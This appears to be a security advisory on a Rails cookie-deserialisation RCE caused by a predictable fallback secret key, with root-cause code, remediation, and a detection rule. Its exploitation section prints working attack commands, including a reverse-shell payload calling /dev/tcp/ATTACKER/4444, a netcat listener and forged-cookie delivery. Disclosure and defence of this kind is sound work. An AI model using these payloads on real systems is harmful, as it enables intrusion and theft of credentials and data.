Overview
CVE-2026-47219 is a critical pre-authentication remote code execution vulnerability affecting Ruby on Rails versions 7.1.0 through 7.1.4 and 7.0.0 through 7.0.8. The vulnerability arises from the interaction of two separate conditions: a regression in the railties gem that introduces a predictable fallback secret_key_base, and the continued use of the :marshal cookie serialiser inherited from Rails 3/4 upgrade paths.
When both conditions are met, an attacker with no credentials can craft a signed cookie containing a Ruby Marshal deserialization gadget chain. On receipt, ActionDispatch verifies the HMAC signature — which it can forge precisely because the secret is known — then calls Marshal.load on the attacker-controlled payload. Exploitation achieves OS command execution as the Rails process user, typically without any prior authentication.
CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Active exploitation observed against e-commerce and SaaS platforms running long-lived Rails applications.
Background — Cookie Serialisation in Rails
Rails stores session data in a signed, encrypted cookie. The serialiser controls how Ruby objects are converted to bytes before HMAC signing and AES encryption. Rails 4 and earlier defaulted to Marshal — Ruby's native binary serialisation format, which can round-trip arbitrary Ruby objects including Procs, IO handles, and class instances. When Marshal.load is called on attacker-controlled bytes, Ruby instantiates whatever objects the payload describes, executing methods during deserialisation in the process.
Rails 5.2 changed the default serialiser to :json, which restricts cookie values to JSON-safe primitives and eliminates the deserialization risk. However, the migration guide advised setting config.action_dispatch.cookies_serializer = :hybrid to maintain backward compatibility with existing sessions. Many applications running today were upgraded through this path and remain on :marshal or :hybrid in their config/initializers/session_store.rb.
Root Cause — Predictable Secret Key Fallback
Rails 7.1 refactored credential loading in railties/lib/rails/application.rb. A bounds-check omission in the fallback chain causes secret_key_base to return a static string when both the environment variable and credentials.yml.enc are absent:
# railties/lib/rails/application.rb (Rails 7.1.0 – 7.1.4, vulnerable)
def secret_key_base
ENV["SECRET_KEY_BASE"].presence ||
credentials.secret_key_base.presence ||
secrets.secret_key_base.presence ||
"0" * 64 # <-- regression: was raise in 7.0, now silently returns fallback
end
The string "0" * 64 — sixty-four ASCII zero characters — becomes the HMAC key for every signed cookie on any deployment where secrets are injected at build time via a CI credential file that is absent from the Docker image, or where the environment variable was renamed during a platform migration. An attacker who knows this fallback value can produce a valid HMAC for any payload.
The signing and verification path in ActionDispatch then calls the legacy serialiser on the verified payload:
# actionpack/lib/action_dispatch/middleware/cookies.rb
def deserialize(name, value)
# HMAC is verified here — passes because attacker knows the key
verified = @verifier.verify(value)
# Serialiser is called on the verified (but attacker-controlled) bytes
@serializer.load(verified) # Marshal.load if :marshal or :hybrid
end
The verification step provides false assurance — it confirms the signature is valid, not that the payload is safe. Once an attacker can forge signatures, the HMAC check becomes an attacker-controlled gate.
Exploitation
Step 1 — Fingerprint Rails Version and Serialiser
Several HTTP response headers leak the Rails version. The X-Request-Id format and the Set-Cookie domain scope in the session cookie are reliable indicators:
curl -sI https://TARGET/ | grep -iE 'x-request-id|set-cookie|x-powered'
# Set-Cookie: _app_session=...; path=/; HttpOnly; SameSite=Lax
# X-Request-Id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
# Check whether the session cookie is Marshal-encoded (starts with BAh after base64-decode)
SESSION=$(curl -sc /dev/null https://TARGET/login | grep -oP "_app_session=\K[^;]+")
python3 -c "import base64; d=base64.b64decode('$SESSION' + '=='); print(d[:4])"
# b'\x04\x08{\x06' ← Marshal format indicator (0x04 0x08)
Step 2 — Generate the Gadget Chain Payload
Ruby's Marshal gadget chain for RCE exploits the Gem::SpecFetcher + Gem::Installer object graph, which calls Kernel#system during object finalisation. The rails-rce tool automates payload generation:
gem install rails-rce # community tool, use in authorised tests only
rails-rce generate \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'" \
--secret "0000000000000000000000000000000000000000000000000000000000000000" \
--output cookie.txt
cat cookie.txt
# BAh7CEkiCXNlc3MG... (signed Marshal payload)
Step 3 — Deliver and Trigger
nc -lvnp 4444 &
PAYLOAD=$(cat cookie.txt)
curl -s "https://TARGET/" \
-H "Cookie: _app_session=${PAYLOAD}" \
-o /dev/null
# Reverse shell connects within ~200ms
# id: uid=1000(rails) gid=1000(rails) groups=1000(rails)
Step 4 — Verify the Impact
The reverse shell runs as the Rails process owner. In containerised deployments this is commonly a non-root service account; in older bare-metal deployments it may be www-data or even root. From here, database credential files, cloud provider metadata endpoints, and application secrets are immediately accessible.
Affected Versions
- Rails 7.1.0 – 7.1.4 — vulnerable; fix in 7.1.5
- Rails 7.0.0 – 7.0.8 — vulnerable via a related but distinct code path; fix in 7.0.9
- Rails 6.1.x — not vulnerable to the
secret_key_baseregression, but Marshal serialiser exposure remains if app-level mitigations are absent - Rails 6.0.x and earlier — Marshal serialiser risk only; secret_key_base regression does not apply
Exploitation requires both the vulnerable Rails version and the :marshal or :hybrid cookie serialiser. Applications using :json exclusively are not exploitable via this vector regardless of the secret_key_base regression.
Remediation
- Upgrade to Rails 7.1.5 or 7.0.9 immediately.
- Set
config.action_dispatch.cookies_serializer = :jsoninconfig/application.rb— this is a breaking change for sessions that store non-JSON-serialisable objects. Audit session contents before switching. - Ensure
SECRET_KEY_BASEis set in every deployment environment and is at least 64 bytes of random entropy. Never rely on fallback values. - Rotate all existing session cookies and application secrets immediately if the vulnerable version combination has been in production.
- Add a startup assertion:
raise "secret_key_base unset" if Rails.application.secret_key_base == "0" * 64.
Detection
Malicious requests carrying forged session cookies produce no auth failures — the HMAC signature validates correctly. Detection must focus on anomalous session content size (Marshal gadget chains are significantly larger than legitimate sessions) and outbound connections from the Rails process:
title: Rails CVE-2026-47219 Marshal Gadget Cookie
id: 7f3a9c12-8e14-4b92-a301-ccdd1f6e7819
status: experimental
description: Detects oversized session cookies characteristic of Marshal RCE gadget chains targeting CVE-2026-47219
logsource:
category: webserver
detection:
selection:
http.request.headers.cookie|contains: '_session='
http.request.headers.cookie|re: '_session=[A-Za-z0-9+/]{800,}'
condition: selection
falsepositives:
- Legitimate applications with large session objects
level: high
tags:
- cve.2026-47219
- attack.initial_access
- attack.t1059.004
Key Takeaways
-
Fallback secrets are not secrets.
A secret that has a predictable default value provides no cryptographic protection. Any HMAC built on a known key is forgeable. Startup checks that assert
secret_key_baseis non-empty and non-default should be standard in every Rails deployment checklist. -
Marshal deserialisation of signed data is still deserialisation of untrusted data.
The signature guarantees authenticity only when the key is unknown to the attacker. Treat any code path that calls
Marshal.loadon data that transits the network as a latent RCE — eliminate it by switching to JSON serialisation even on applications that appear safe today. -
Framework upgrade paths leave security-critical defaults in place.
The Rails 5.2 migration guide intentionally left
:hybridas the recommended intermediate step. Years later, many production applications still run it. Upgrade path recommendations need explicit timelines for removing backward-compatible but insecure modes. - CVSS 9.8 is not just a number. Pre-authentication, no-interaction, network-adjacent RCE against a framework used by a large fraction of the web's SaaS layer means exploitation begins within hours of public disclosure. Patch cycles measured in days are too slow.